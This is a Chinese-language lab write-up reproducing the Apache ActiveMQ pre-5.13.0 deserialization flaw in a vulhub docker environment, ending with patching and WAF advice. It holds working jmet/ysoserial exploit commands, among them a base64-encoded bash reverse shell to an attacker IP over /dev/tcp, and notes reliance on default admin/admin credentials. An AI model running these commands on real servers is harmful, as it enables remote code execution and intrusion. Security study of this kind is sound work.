0X01漏洞描述
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0X02环境搭建
本地使用docker搭建vulhub漏洞环境,直接docker-compose开启容器,虚拟机地址为192.168.0.144,端口为6161
注意:这边如果是第一次起docker环境的情况,可能Linux默认监听为IPV6的地址,需要将/etc/default/grub文件的第六行的值中,添加ipv6.disable=1(如图), 保存后重新配置grub并重启服务器
$ grub2-mkconfig -o /boot/grub2/grub.cfg
$ reboot
访问成功
0X03漏洞复现
1、利用条件限制:
版本需符合 Apache ActiveMQ < 5.13.0之前5.x版本
能够登录 ActiveMQ 处理消息队列,无法登陆的情况下无法处理消息队列
只能管理员/用户去点击我们插入的消息才能触发,所以登录用户必须有权限处理消息队列。【这一点比较鸡肋,还要配合弱口令,如果没有弱口令就随缘了】
2、复现环境:
靶机:192.1668.0.144
攻击机:192.168.0.149
3、漏洞利用
使用jmet进行漏洞利用(原理:使用集成的ysoserial生成payload并发送)Releases · matthiaskaiser/jmet · GitHub
下载jmet到本地,同级目录创建external目录,否则可能会报文件夹不存在的错误。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
利用jmet构造消息队列发送到目标服务器61616端口(这里为在目标服务器/tmp/目录创建一个success文件)
访问web站点查看创建的消息队列是否成功,【真实环境中需要先拿到 ActiveMQ 的登录账号密码】,此处靶场账号密码为 admin/admin
当用户浏览事件点击该消息队列时便可触发反序列化漏洞,会在 /tmp/ 路径下 创建一个 success 文件。
这边还有个坑,activemq5.11.1版本要配合jdk1.7才能用,不然会报错(自行官网下载)
利用 ActiveMQ 反序列化漏洞 反弹 shell
利用 jmet 在消息队列中构建反弹shell的payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& bash -i>/dev/tcp/192.168.0.149/1234 0>&1" -Yp ROME 192.168.0.144 61616
需要对bash -i>/dev/tcp/192.168.0.149/1234 0>&1进行base64编码
这里还有个坑,之前用bash -i>&/dev/tvp/192.168.0.149/1234 0>&1这个bash命令反弹就一直不行,还一直以为是docker环境不支持bash的原因,bash的问题留到后面在研究吧
base64编码后的结果如下:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjAuMTQ5LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.0.144 61616
web页面点击日志,触发反弹shell,反弹成功。
0X04流量分析
这里贴上两张执行不同命令的TCP流的截图,可以看到其实大同小异,就是在命令执行,一般WAF都能阻断这些命令。
0X05修复建议
1.升级到最新版本
2.有WAF的可以配置相关规则进行拦截(建议拦截管理页面的URL,即http://YOURIP:8161/admin/, 或者直接管理对管理页面进行访问控制,降低风险)